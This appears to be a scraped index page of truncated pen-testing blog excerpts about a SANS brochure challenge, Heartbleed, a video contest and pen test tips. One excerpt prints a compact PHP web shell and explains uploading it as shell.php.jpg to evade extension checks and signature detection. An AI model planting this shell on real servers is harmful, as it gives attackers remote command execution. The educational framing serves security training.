Here's some fun news. SANS just released a new kind of challenge — one that unfolds from the pages of a SANS brochure itself. Created by Jeff McJunkin and a group of challenge-writing collaborators, we launched it this week with the mailing of the SANS Network Security brochure for the upcoming conference in Las Vegas in October 2014. This challenge will take you across many domains of knowledge, including (but not limited to!): infosec fundamentals, pen testing, digital forensics, steganography, social media, mobile devices, and much, much more, all wrapped up in some geeky fun!
You'll enjoy all these areas and more from the comfort of your brochure (paper or pdf) and local computer, along with everyone's favorite global network, the Internet itself. You'll be able to advance all the way through this challenge from anywhere in the world. If

Here is the scenario: you have a server that allows you to upload an avatar. The site makes sure that the file ends with .jpg, .png, or .gif. Being the sneaky bugger you are (as a professional penetration tester operating within your scope and rules of engagement, naturally), you upload a file named shell.php.jpg, containing this delightful gem:
<?php @extract($_REQUEST); @die ($ctime($atime)); ?>
This file passes the extention check, but since it contains .php in the filename, many systems will execute it as a script. Also, this shell
doesn't include the telltale "/bin/sh", "shell_exec", or "system" strings and it looks like some sort of ...
Pen Testers use Python to assess HeartBleed vulnerabilities.

Unless you've been living in a cave without access to the outside world, you already know that OpenSSL 1.0.1 suffers from a serious vulnerability that allows a remote attacker to extract data from the memory of a target computer. The vulnerability was first made "public" (by varying definitions of the word "public") on April 7th. The events leading up to the disclosure are interesting. If you haven't reviewed them, the Sydney Morning Herald does a great job of outlining the events leading up to the disclosure. Check it out here:
So while it is clear as mud who knew about the vulnerability and when, it is very clear what happened
Ladies and gentlemen, boys and girls, friends, Romans, and countryman,
I'm delighted to announce the winners to our SANS Spectacular Pen Test Video Contest. Back in January and February, we asked folks to channel their creativity to share some great tips, insights, techniques, and inspiration with other penetration testers. You can read the contest description here.
We got some FANTASTIC entries, and we'd like to thank all who participated. Entries included numerous great technical tips, interesting "acting", noble attempts at humor, and even one Rick Roll, naturally.
So, without further ado (thanks, Ted, for your gracious input), let's announce the winners (click on each picture to see the video). We'll announce the victors in our four categories first, and then select from among them for the GRAND prize winner.
First up, our
[Editor's Note: Here is the fifth in our series of penetrating testing tips drawn from the UltimateSANS Pen Test Poster. This time, our focus is on specific recommendations from Kevin Johnson about web app pen test tips, tools, resources, and other recommendations. Really helpful stuff. Thanks, Kevin!
